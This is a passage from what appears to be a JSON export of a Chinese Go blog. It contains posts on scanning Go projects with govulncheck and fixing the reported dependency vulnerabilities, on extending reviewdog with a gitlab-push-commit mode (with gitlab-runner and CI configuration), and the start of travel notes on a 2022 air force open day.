href=\"https://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner\"\u003ehttps://tonybai.com/2022/09/12/how-to-install-a-go-app-as-a-system-service-like-gitlab-runner\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\"\u003e《让reviewdog支持gitlab-push-commit，守住代码质量下限》\u003c/a\u003e一文中，\u003ca href=\"https://gitlab.com/gitlab-org/gitlab-runner\"\u003egitlab-runner\u003c/a\u003e(一个Go语言开发的应用)通过自身提供的install命令将自己安装为了一个系统服务(如下面步骤)：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e# Create a GitLab CI user\nsudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash\n\n# Install and run as service\nsudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner\nsudo gitlab-runner start\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e在主流新版linux上(其他os或linux上的旧版守护服务管理器如sysvinit、upstart等，我们暂不care)，系统服务就是由\u003ca href=\"https://systemd.io/\"\u003esystemd\u003c/a\u003e管理的daemon process(守护进程)。\u003c/p\u003e","title":"如何像gitlab-runner那样将Go应用安装为系统服务"},{"content":"\n本文永久链接 – https://tonybai.com/2022/09/10/an-intro-of-govulncheck\n2022年9月7日，Go安全团队在Go官博发表文章《Vulnerability Management for Go》，正式向所有Gopher介绍Go对安全漏洞管理的工具和方案。\n在这篇文章中，Go安全团队引入了一个名为govulncheck的命令行工具。这个工具本质上只是Go安全漏洞数据库(Go vulnerability database)的一个前端，它通过Go官方维护的vuln仓库下面的vulncheck包对你仓库中的Go源码或编译后的Go应用可执行二进制文件进行扫描，形成源码的调用图(callgraph)和调用栈(callstack)。\nvuln仓库下面的client包则提供了访问漏洞数据源(支持多数据源)的接口和默认实现，开发人员可以基于module的路径或ID从漏洞数据库中查找是否存在已知的漏洞。而漏洞项采用OSV, Open Source Vulnerability format格式存储和传输，vuln仓库同样提供了对osv格式的实现包osv。\n图：Go安全漏洞方案架构 – 来自Go官方博客\n注：你也可以基于vuln仓库下面的vulncheck包、client包等开发你自己的vulnerability检查前端，或将其集成到你的组织内部的工具链中。\n和sumdb、proxy等一样，Go官方维护了一个默认的漏洞数据库vuln.go.dev，如上图所示，该数据库接纳来自知名漏洞数据源的数据，比如：NVD、GHSA等，Go安全团队发现和修复的漏洞以及最广大的go开源项目维护者提交的漏洞。\n如果你是知名go开源项目的维护者，当你发现并修复你的项目的漏洞后，可以在Go漏洞管理页面找到不同类型漏洞的提交/上报入口，Go安全团队会对你上报的公共漏洞信息进行审核和确认。\n好了，作为Gopher，我们更关心的是我们正在开发的Go项目中是否存在安全漏洞，这些漏洞或是来自Go编译器，或是来自依赖的有漏洞的第三方包。我们要学会使用govulncheck工具对我们的项目进行扫描。\ngovulncheck目前维护在golang.org/x/vuln下面，按照官博的说法，后期该工具会随同Go安装包一并发布，但是否会集成到go命令中尚不可知。现在要使用govulncheck，我们必须手动安装，命令如下：\n$go install golang.org/x/vuln/cmd/govulncheck@latest 安装成功后，便可以在你的Go项目根目录下执行下面命令对整个项目进行漏洞检查了：\n$govulncheck ./... 下面是我对自己项目的扫描的结果(扫描时使用的是Go 1.18版本)：\n$govulncheck ./... govulncheck is an experimental tool. Share feedback at https://go.dev/s/govulncheck-feedback. Scanning for dependencies with known vulnerabilities... Found 9 known vulnerabilities. Vulnerability #1: GO-2022-0524 Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Call stacks in your code: raft/fsm.go:193:29: example.com/go/mynamespace/demo1/raft.updOnlyLinearizableSM.RecoverFromSnapshot calls io/ioutil.ReadAll, which eventually calls compress/gzip.Reader.Read Found in: compress/gzip@go1.18 Fixed in: compress/gzip@go1.18.4 More info: https://pkg.go.dev/vuln/GO-2022-0524 Vulnerability #2: GO-2022-0531 An attacker can correlate a resumed TLS session with a previous connection. Session tickets generated by crypto/tls do not contain a randomly generated ticket_age_add, which allows an attacker that can observe TLS handshakes to correlate successive connections by comparing ticket ages during session resumption. Call stacks in your code: raft/raft.go:68:35: example.com/go/mynamespace/demo1/raft.NewRaftNode calls github.com/lni/dragonboat/v3.NewNodeHost, which eventually calls crypto/tls.Conn.Handshake Found in: crypto/tls@go1.18 Fixed in: crypto/tls@go1.18.3 More info: https://pkg.go.dev/vuln/GO-2022-0531 ... ... Vulnerability #6: GO-2021-0057 Due to improper bounds checking, maliciously crafted JSON objects can cause an out-of-bounds panic. If parsing user input, this may be used as a denial of service vector. Call stacks in your code: cmd/demo1/main.go:352:23: example.com/go/mynamespace/demo1/cmd/demo1.main calls example.com/go/mynamespace/common/naming.Register, which eventually calls github.com/buger/jsonparser.GetInt Found in: github.com/buger/jsonparser@v0.0.0-20181115193947-bf1c66bbce23 Fixed in: github.com/buger/jsonparser@v1.1.1 More info: https://pkg.go.dev/vuln/GO-2021-0057 ... ... Vulnerability #9: GO-2022-0522 Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Call stacks in your code: service/service.go:45:12: example.com/go/mynamespace/demo1/service.NewPubsubService calls example.com/go/mynamespace/common/log.Logger.Fatal, which eventually calls path/filepath.Glob Found in: path/filepath@go1.18 Fixed in: path/filepath@go1.18.4 More info: https://pkg.go.dev/vuln/GO-2022-0522 === Informational === The vulnerabilities below are in packages that you import, but your code doesn't appear to call any vulnerable functions. You may not need to take any action. See https://pkg.go.dev/golang.org/x/vuln/cmd/govulncheck for details. Vulnerability #1: GO-2022-0537 Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Found in: math/big@go1.18 Fixed in: math/big@go1.18.5 More info: https://pkg.go.dev/vuln/GO-2022-0537 ... ... Vulnerability #9: GO-2021-0052 Due to improper HTTP header santization, a malicious user can spoof their source IP address by setting the X-Forwarded-For header. This may allow a user to bypass IP based restrictions, or obfuscate their true source. Found in: github.com/gin-gonic/gin@v1.6.3 Fixed in: github.com/gin-gonic/gin@v1.7.7 More info: https://pkg.go.dev/vuln/GO-2021-0052 我们看到govulncheck输出的信息分为两部分，一部分是扫描出来的项目存在的安全漏洞，针对这些漏洞你必须fix；而另外一部分(由=== Informational === 分隔的)则是列出一些带有安全漏洞的包，这些包是你直接导入或间接依赖的，但是你并未直接调用存在漏洞的包中的函数或方法，因此无需采取任何弥补措施。这样，我们仅需重点关注第一部分信息即可。\n根据漏洞所在的宿主不同，第一部分的信息也可以分为两类：一类是Go语言自身(包括Go编译器、Go运行时和Go标准库等)引入的漏洞，另外一类则是第三方包(包括直接依赖的以及间接依赖的)引入的漏洞。\n针对这两类漏洞，我们的解决方法有所不同。\n第一类漏洞的解决方法十分简单，直接升级Go版本即可，比如这里我将我的Go版本从Go 1.18升级到最新的Go 1.18.6(2022.9.7日刚刚发布的)即可消除上面的所有第一类漏洞。\n而第二类漏洞，即第三方包引入的漏洞，消除起来就要仔细考量一番了。\n我们也分成两种情况来看：\n直接依赖包中存在安全漏洞 如果是项目的直接依赖包的代码中有安全漏洞，这种情况较为简单，根据govulncheck的fix提示，直接升级(go get)到对应的版本即可。\n间接依赖包中存在安全漏洞 假设我们的project依赖A包，而A包又依赖B包，而govulncheck恰恰扫描出B包存在漏洞，且该漏洞所在函数/方法被我们的项目通过A包调用了。这时我们该如何fix呢？\n我们可以直接升级B包的版本吗？不确定！这与go module的依赖管理机制有关，go module正确管理的前提是所有包的版本真正符合semver(语义版本)规范。如果B包没有完全遵守semver规范，一旦单独升级B包版本，这很可能导致A包无法使用升级后的B包而致使我们的项目无法编译通过。在这种情况下，我们应该首先考虑升级A包，如果A包是我们自己可控的基础库，比如common之类的，我们应该先消除A包的漏洞（顺便升级了B包的版本），然后通过升级A包版本来消除这样的漏洞情况。\n如果A包并非我们可控的包，而是某个公共开源包，那也要先查找A包是否已经发布了修复B包漏洞的新版本，如果找到了，直接升级A包到新版本即可解决问题。\n如果A包没有修复B包的漏洞，那么问题就略复杂了。我们可以尝试升级B包来修复，如果依旧无法修复，那么我们要么给A包提PR，要么fork一份A，自己修复并直接依赖fork后的A。\n如果这种间接依赖链比较长，那么修正这样的漏洞的确比较繁琐，大家务必要有耐心地从直接依赖包逐层向下升级依赖包版本。\ngovulncheck工具的推出丰富了我们对项目进行安全漏洞检查的手段。如果你的项目在github上开源的话，还可以使用github每周security alert来获取安全漏洞信息(如下图所示这样)：\n并且github提供了很便利的一键fix的方案。\n对于公司内的私有商业项目，不管你之前用什么工具对软件供应链进行安全扫描，现在我们有了govulncheck，建议定期用它扫描一下。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/09/10/an-intro-of-govulncheck/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/an-intro-of-govulncheck-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/09/10/an-intro-of-govulncheck\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/09/10/an-intro-of-govulncheck\"\u003ehttps://tonybai.com/2022/09/10/an-intro-of-govulncheck\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e2022年9月7日，Go安全团队在Go官博发表文章\u003ca href=\"https://go.dev/blog/vuln\"\u003e《Vulnerability Management for Go》\u003c/a\u003e，正式向所有Gopher介绍Go对安全漏洞管理的工具和方案。\u003c/p\u003e\n\u003cp\u003e在这篇文章中，Go安全团队引入了一个名为\u003ca href=\"https://github.com/golang/vuln/tree/master/cmd/govulncheck\"\u003egovulncheck\u003c/a\u003e的命令行工具。这个工具本质上只是\u003ca href=\"https://vuln.go.dev/\"\u003eGo安全漏洞数据库(Go vulnerability database)\u003c/a\u003e的一个\u003cstrong\u003e前端\u003c/strong\u003e，它通过\u003ca href=\"https://github.com/golang/vuln\"\u003eGo官方维护的vuln仓库\u003c/a\u003e下面的\u003ca href=\"https://github.com/golang/vuln/tree/master/vulncheck\"\u003evulncheck包\u003c/a\u003e对你仓库中的Go源码或编译后的Go应用可执行二进制文件进行扫描，形成源码的调用图(callgraph)和调用栈(callstack)。\u003c/p\u003e","title":"有没有安全漏洞，你说了不算，govulncheck是裁判！"},{"content":"\n本文永久链接 – https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\n一. 代码质量保证的手段 从世界上首款计算机高级程序设计语言Fortran自上世纪50年代诞生以来，编程这个行当已经走过了近70年。虽然年头已不少，但不可否认的一点是：软件生产依然无法像硬件那样标准化，同一个小功能，N个程序员的有N种实现方法。\n那么如何保证生产出的软件的质量符合我们的要求呢？不同领域的程序员都在进行着努力，比如：做编译器的让编译器更加严格，努力将内存安全问题彻底消除(如Rust)；做工具链的为程序员提供了内置于语言的各种单测、集成测试、接口测试、fuzzing test等工具(如Go工具链)，让程序员可以更容易地对自己所写的代码进行全方位的测试，以期找出更多的代码中的潜在问题…\n当然，还有一种主观的代码质量保证方法目前依旧是主流，它就是是同行的代码评审(code review, cr)。\n代码评审的方法主要有两种，一种是大家坐到一个会议室中，对某个人的某段代码“发表大论”；另外一种则是利用像gerrit这样的工具，在线对其他人的某次提交的代码或某PR的代码进行“评头论足”。\n不过无论哪种，最初的时候大家都会细无巨细地从语法层面看到代码结构设计，再到业务逻辑层面，但这样做的弊端也是很显而易见，那就是效率低下，不聚焦(focus)。\n于是人们想到了：能否利用工具来尽可能地发现语法层面的问题，这样代码评审时，人类专家便可以聚焦代码结构设计与业务逻辑层面的问题，分工明确后，效率自然提升(如下图)：\n注：目前绝大多数工具链仅能自动帮助程序员解决语法层面的问题。将来，随着工具的日益强大，工具可以不断升级关注层次，逐渐进化到具备发现代码结构设计问题，甚至可以发现业务层面逻辑问题的能力。\n于是就有了reviewdog这样的可以调用各种linter工具对代码进行自动扫描并将问题以comment的形式自动提交的代码仓库的工具。\n到这里很多朋友会问，即便让工具来关注语法层面的问题，为何要用reviewdog这样的工具，git的pre-commit hook、git server hooks、利用Make等工具做开发阶段检查等手段也能检查代码中的语法问题，它们不再香了吗？\n下面简单看看这些方法的“问题”(我们假设大家都已经在使用git作为代码版本管理工具)：\ngit pre-commit-hook git pre-commit hook是一个客户端的git hook，它是放在开发人员本地代码copy中的.git/hooks目录下的钩子，当开发人员在本地执行git commit时会被唤起执行。pre-commot hook的问题就在于我们没法在中心代码仓库对pre-commit hook的脚本内容做统一管理和维护。这个更适合开发人员根据自己的喜好、代码素养在自己的开发环境下部署。\n此外，有些代码并不一定是在开发者自己的开发机上提交的，换环境后，pre-commit hook就不在生效。\n利用Make等工具做本地检查 利用make工具，我们可以在本地build代码之前对代码做lint等各种静态检查，但和pre-commit-hook一样，虽然Makefile可以提交代码仓库，但真正用于检查代码的工具依旧是在开发人员本地，难于对工具版本，设定的检查规则进行统一管理维护，可能导致不同开发人员环境有不一致的情况。另外同样的情况，有些代码并不一定是在开发者自己的开发机上提交的，换环境后，Make工具依赖的代码检查工具可能并不存在，检查环节就无法有效实施。\ngit server hooks git支持server hooks，gitlab自12.8版本也开始支持server hooks(替换之前的custom hooks)。\nGit server支持以下钩子：\npre-receive post-receive update 我倒是没有深研究过这些server hooks是否能满足我们的功能要求，但就git server hooks的部署特点就决定了，它不适合，因为它要在gitlab的server上执行，这就意味着我们需要的所有静态代码检查工具都要部署和配置在与gitlab server同一个环境中，这耦合性太强，根本不便于我们对这些静态代码检查工具的管理与日常维护。\n而像reviewdog这样的工具将与ci工具(比如gitlab-ci)集成，运行在slave/worker/runner的机器上，而这些机器上的环境便很容易统一的定制与管理。\n好了，下面进入reviewdog时间！\n注：我们以代码仓库为gitlab为例，我曾做过小调查，目前企业内部基本都在使用gitlab搭建私有git仓库，除了那些自实现code仓库平台的大厂。\n二. reviewdog是什么 reviewdog是一个什么样的工具呢？我们来看看下面这幅示意图：\n我们看到，这是一幅基于gitlab的ci执行流程图，在这个流程中，reviewdog运行在gitlab-runner节点，也就是负责真正执行ci job的节点上。每当开发人员执行一次git push，将commit同步到代码仓库，一次ci job将被触发，在承载该ci job的gitlab-runner节点上，reviewdog被唤起，它做了三件事：\n调用静态代码检查工具对最新pull下来的代码进行检查； 将代码检查结果(第几行有问题)与commit diff的结果进行比对，得到交集(即commit diff中变更(add和update)的代码行与代码检查结果的行一致的，放入交集中)； 将交集中代码检查结果信息以gitlab commit comment的形式post到gitlab仓库中 这样开发人员就可以通过commit页面看到这些comments，并应对这些comment，必要情况下，会修复这些问题。\n我们看到reviewdog和其他工具相比，最大的不同就是可以找出commit diff与lint结果中的交集，并与代码仓库交互，将这些交集中的结果以comments的形式放入commit页面，就像同行代码评审时，同行直接在你的commit页面添加comment一样。\n然而当前版本的reviewdog还不支持直接在gitlab-push-commit上做检查与提交comment，可能是这样的场景较为少见，因为目前开源项目更多采用基于pr(pull request)的工作流，所以reviewdog内置了诸如github-pr-check、github-pr-review、gitlab-mr-commit等工作流的代码review。而像我们使用的基于gitlab-push-commit可能并不多见（当然我们内部使用这种也是有特定上下文的）。\n那么如何让reviewdog支持gitlab-push-commit，即对push动作中的commit进行静态代码检查并将结果以comment的形式放入commit页面呢？我们只能fork reviewdog项目，并在fork后的项目中自行添加对gitlab-push-commit模式的支持。\n三. 改造reviewdog以支持gitlab-push-commit模式 reviewdog就是一个命令行工具，通常就是一次性执行，因此它的代码结构较为清晰。我们可以简单围绕它支持的几种reporter模式来搞清楚如何增加对gitlab-push-commit模式的支持。\n这里说明一下gitlab-push-commit模式的含义，首先该模式适用于开发人员通过git push推送代码到gitlab时触发的ci job。在该ci job中，reviewdog会运行配置的静态代码分析工具(比如golangci-lint等)对最新的代码进行扫描，并得到问题集合；然后获取最新的commit的sha值(CI_COMMIT_SHA)以及push之前的latest commit的sha值(CI_COMMIT_BEFORE_SHA)，并比较这两个版本间的diff。最后通过文件名与行号将问题集合与diff集合中的“交集”找出来，并将结果以comment形式通过gitlab client api提交到的此次push的最新的那个commit的页面。\n目前该模式尚存在一个“瑕疵”，那就是如果一个push中有多个commit，那么gitlab-push-commit模式不会针对每个commit做diff和comment，而只是会用push中的latest commit与push之前的最新commit做比较。\n定义清除gitlab-push-commit模式含义后，我们就可以“照葫芦画瓢”的为reviewdog增加该模式的支持了！\n在main.go中，我们主要是在run函数中增加一个reporter case分支：\n// https://github.com/bigwhite/reviewdog/blob/master/cmd/reviewdog/main.go func run(r io.Reader, w io.Writer, opt *option) error { ... ... case \u0026quot;gitlab-push-commit\u0026quot;: build, cli, err := gitlabBuildWithClient(opt.reporter) if err != nil { return err } log.Printf(\u0026quot;reviewdog: [gitlab-push-commit-report] gitlabBuildWithClient ok\\n\u0026quot;) gc, err := gitlabservice.NewGitLabPushCommitsCommenter(cli, build.Owner, build.Repo, build.SHA) if err != nil { return err } log.Printf(\u0026quot;reviewdog: [gitlab-push-commit-report] NewGitLabPushCommitsCommenter ok\\n\u0026quot;) cs = reviewdog.MultiCommentService(gc, cs) ds, err = gitlabservice.NewGitLabPushCommitsDiff(cli, build.Owner, build.Repo, build.SHA, build.BeforeSHA) if err != nil { return err } log.Printf(\u0026quot;reviewdog: [gitlab-push-commit-report] NewGitLabPushCommitsDiff ok\\n\u0026quot;) ... ... } 在这个case中，我们主要是为后面的project.Run或reviewdog.Run方法准备gitlab client对象、PushCommitsCommenter对象(位于service/gitlab/gitlab_push_commits.go中)、PushCommitsDiff对象(位于service/gitlab/gitlab_push_commits_diff.go中)等。\ngitlab_push_commits.go和gitlab_push_commits_diff.go是新增的两个go源文件，也是参考了同目录下的gitlab_mr_commit.go和gitlab_mr_diff.go改写而成的。具体代码这里就不列出来了，大家有兴趣可以自行阅读。\n四. 部署gitlab-runner验证新版reviewdog 下面我们就来验证一下上述改造后的reviewdog。\n1. 安装gitlab-runner 我们先在gitlab上建立一个实验项目，然后为该项目配置ci。如果你的gitlab还没有注册gitlab-runner，可以按下面步骤安装和注册runner节点(可以在顶层group下面建立，这样runner可以在group内共享：settings =\u0026gt; CI/CD =\u0026gt; Runners =\u0026gt; Show runner installation instructions 有部署runner的详细命令说明)：\n//假设我们有一个ubuntu 20.04的主机，我们可以按下面命令安装和注册一个gitlab-runner： sudo curl -L --output /usr/local/bin/gitlab-runner https://gitlab-runner-downloads.s3.amazonaws.com/latest/binaries/gitlab-runner-linux-amd64 # Give it permissions to execute sudo chmod +x /usr/local/bin/gitlab-runner # Create a GitLab CI user sudo useradd --comment 'GitLab Runner' --create-home gitlab-runner --shell /bin/bash # Install and run as service sudo gitlab-runner install --user=gitlab-runner --working-directory=/home/gitlab-runner sudo gitlab-runner start # 注册该runner sudo gitlab-runner register --url http://{gitlab-server-ip-addr}/ --registration-token {registration token} 上面命令会在/etc/gitlab-runner下面建立一个runner自用配置文件：config.toml：\n// /etc/gitlab-runner/config.toml concurrent = 1 check_interval = 0 [session_server] session_timeout = 1800 [[runners]] name = \u0026quot;runner for ard group\u0026quot; url = \u0026quot;http://gitlab_ip_addr/\u0026quot; id = 1 token = \u0026quot;{registration token}\u0026quot; token_obtained_at = 2022-09-01T11:03:43Z token_expires_at = 0001-01-01T00:00:00Z executor = \u0026quot;shell\u0026quot; shell = \u0026quot;bash\u0026quot; environment = [\u0026quot;PATH=/home/tonybai/.bin/go1.18/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\u0026quot;] [runners.custom_build_dir] [runners.cache] [runners.cache.s3] [runners.cache.gcs] [runners.cache.azure] 这里我选择了shell executor，即基于主机shell执行ci job中的命令。runners下的environment可以设置shell的环境变量，这里的设置将覆盖对应账号(比如gitlab-runner)下的环境变量值。\ngitlab-runner部署成功后，我们在group的runners下面便可以看到下面的available runners：\n注：在创建runner时，我为该runner设置了两个tag：ard和ci。\n注：确保runner执行的命令在主机的PATH下面可以找到。\n2. 创建personal access token reviewdog需要通过gitlab client API访问gitlab仓库获取信息并提交comments，这就需要我们为runner执行的命令提供access token。\ngitlab有多种access token，比如：personal access token、project access token等。我们创建personal access token，我也测试过project access token，使用project access token可以成功提交comment，但是notify mail十有八九无法发送出来。\naccess token要保存好，因为它只显示一次。\n我们将personal access token配置到实验项目的variable中(Settings =\u0026gt; CI/CD =\u0026gt; variables)，variable的key为REVIEWDOG_GITLAB_API_TOKEN，值为刚刚创建的token。\n后续每次CI job执行，该variable会作为预定义的环境变量对job生效。我们的reviewdog便可以使用该token访问gitlab。\n3. 配置实验项目的ci pipeline 我们可以通过代码的形式配置实验项目的ci pipeline，我们在项目根目录下建立.gitlab-ci.yml文件，其内容如下：\n// .gitlab-ci.yml build-job: tags: - ard stage: build script: - export CI_REPO_OWNER=ard/incubators - export CI_REPO_NAME=learn-gitlab - reviewdog -reporter=gitlab-push-commit only: - master - pushes .gitlab-ci.yml的具体字段含义可以参考gitlab文档。在这个配置中，值得注意的有几点：\n使用tags关联runner(这里用ard这个tag)； script部分是job具体执行的命令列表，这里先设置CI_REPO_OWNER和CI_REPO_NAME两个环境变量，供reviewdog使用；然后执行reviewdog； only部分描述仅针对master分支的push事件触发ci job。 4. 配置.reviewdog.yml 最后，我们来配置一下适合实验项目的reviewdog的配置文件。我们同样在项目根目录下建立.reviewdog.yml文件，其内容如下：\nrunner: golangci: cmd: golangci-lint run --max-same-issues=0 --out-format=line-number ./... errorformat: - '%E%f:%l:%c: %m' - '%E%f:%l: %m' - '%C%.%#' level: warning 在这里我们看到，我们使用golangci-lint这个静态检查工具对实验项目的代码进行检查。这里的–max-same-issues=0的含义是不限制相同错误的数量。至于.reviewdog.yml的具体格式，reviewdog项目自身的.reviewdog.yml很具参考价值，大家需要时可以仔细研究。\n5. 推送代码并验证reviewdog的执行结果 我们可以故意在代码中写下有问题的一些代码，这些问题要保证可以被golangci-lint工具扫描出来，比如：\npackage main type Foo struct { A int B string C bool } func Demo1() error { return nil } func Demo2() error { return nil } func Demo3() error { return nil } func main() { f := \u0026amp;Foo{1, \u0026quot;tony\u0026quot;, false} _ = f Demo2() Demo1() Demo3() } 这里并没有对Demo函数调用进行错误处理，golangci-lint中的errcheck可以检测出这个问题。提交并push这些代码到仓库，稍等片刻，我们便可收到notify mail，打开commit页面，便会看到下面这样的commit comments：\n看到这样的结果，说明reviewdog按预期工作了！\n五. 小结 本文介绍了如何基于reviewdog对push提交的commit进行静态代码检查并像一个“同行”一样在commit中提交评论的方法。\n这样做的目的就是希望通过工具提升代码评审的效率，同时也守住代码质量的下限。\n就像本文开始所说的那样，随着检查工具能力的增强，这样的基于reviewdog自动检查代码的方案在保证代码质量方面还可以继续提升。\nGo开源了go/ast等工具链，有能力的童鞋可以基于go/ast自行开发具有“特定目的”的检查工具并集成到reviewdog中，这将使得检查更有针对性和有效性。\n本文涉及源码在这里下载 – https://github.com/bigwhite/reviewdog/\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\"\u003ehttps://tonybai.com/2022/09/08/make-reviewdog-support-gitlab-push-commit-to-preserve-the-code-quality-floor\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"一-代码质量保证的手段\"\u003e一. 代码质量保证的手段\u003c/h3\u003e\n\u003cp\u003e从世界上首款计算机高级程序设计语言\u003ca href=\"https://fortran-lang.org/en/\"\u003eFortran\u003c/a\u003e自上世纪50年代诞生以来，编程这个行当已经走过了近70年。虽然年头已不少，但不可否认的一点是：\u003cstrong\u003e软件生产依然无法像硬件那样标准化，同一个小功能，N个程序员的有N种实现方法\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e那么如何保证生产出的软件的质量符合我们的要求呢？不同领域的程序员都在进行着努力，比如：做编译器的让编译器更加严格，努力将内存安全问题彻底消除(如\u003ca href=\"https://tonybai.com/2021/03/15/rust-vs-go-why-they-are-better-together\"\u003eRust\u003c/a\u003e)；做工具链的为程序员提供了内置于语言的各种单测、集成测试、接口测试、fuzzing test等工具(如Go工具链)，让程序员可以更容易地对自己所写的代码进行全方位的测试，以期找出更多的代码中的潜在问题…\u003c/p\u003e","title":"让reviewdog支持gitlab-push-commit，守住代码质量下限"},{"content":"\n本文永久链接 – https://tonybai.com/2022/08/28/the-visiting-notes-of-2022-china-air-force-aviation-open-day\n2022年8月27日，我在长春现场观看了2022年空军航空开放日暨长春航空展的飞行表演、地面静态展示以及一些主题馆。这是我以军迷身份第一次参加人民军队举办的此类活动，一天下来，虽然疲惫，但更多的感受是：震撼与满足！下面我就来唠叨一些过程与细节，还要相关“经验教训”，供后续想参加空军开放日活动或类似人民军队开放活动的小伙伴们参考。\n一. 空军航空开放日背景 图：空军航空开发日打卡纪念本\n据网上资料显示，中国空军航空开放日（空军航空开放日活动）起始于2011年，在吉林长春大房身机场举办飞行表演和跳伞表演。\n估计很多人会有这样的疑问：为什么空军航空开放日会选择在东北重镇长春举行呢？为什么不选择歼10、歼20的摇篮成都，又或是歼11、歼16和我国首款舰载机歼15的诞生地沈阳，再不济也要选择“胖妞”运20的诞生地西安啊？这个问题同样困扰着我。经过一阵网上调查，我才明白真因：这都是因为一座历史悠久的航校！\n它就是坐落于长春西北郊的中国人民解放军空军航空大学(也是这次空军开放日的主场东道主)，该大学的前身是1946年创办的中国第一所航空学校——东北民主联军航空学校，它也被空军亲切地称为“东北老航校”。这是一座诞生于新中国空军成立(1949年11月11日)之前的航空学校，它在短短3年多时间里，为新中国空军培养出500多名飞行员和各类航空技术人员，开创了我党我军自主培养航空人才的先河，为人民空军建立和新中国航空事业发展作出了卓越贡献。可以说：没有东北老航校，就没有新中国空军的根基。新中国成立以后，东北老航校(包括以它为基础成立的空军航空大学)更是成为了中国空军飞行员的摇篮，像空军战斗英雄王海、张积慧、刘玉堤，“海空卫士”王伟，复合型飞行舰长柏耀平都是该校的优秀毕业生，我们熟知的中国航天第一人杨利伟，航天英雄翟志刚、景海鹏、王亚平等也都毕业于这所学校。\n将中国空军唯一的航空开放日活动放在长春既是对东北老航校的致敬，也是对“人是战争的决定因素”的诠释：只有通过航校培养出技术高超的优秀飞行员，才能更好地驾驭现代战机取得战争的胜利！\n二. 缘起 图：空军首次展出的运油20A\n虽然航空开放日2011年就有了，但我知道开始关注这个展览并有了想观展的冲动应该是在2018年，那一年听说了这个活动，并关注了这个活动的官方活动公众号“聚航airshow”。但2018和2019年(空军70周年庆祝)都没有成行，2019年末爆发了新冠疫情，2020、2021年也都无法去长春观展。而我个人观展的欲望是日益强烈，今年得知开放日将在8月26-30日在长春举行，我便决定要去。\n7月31晚 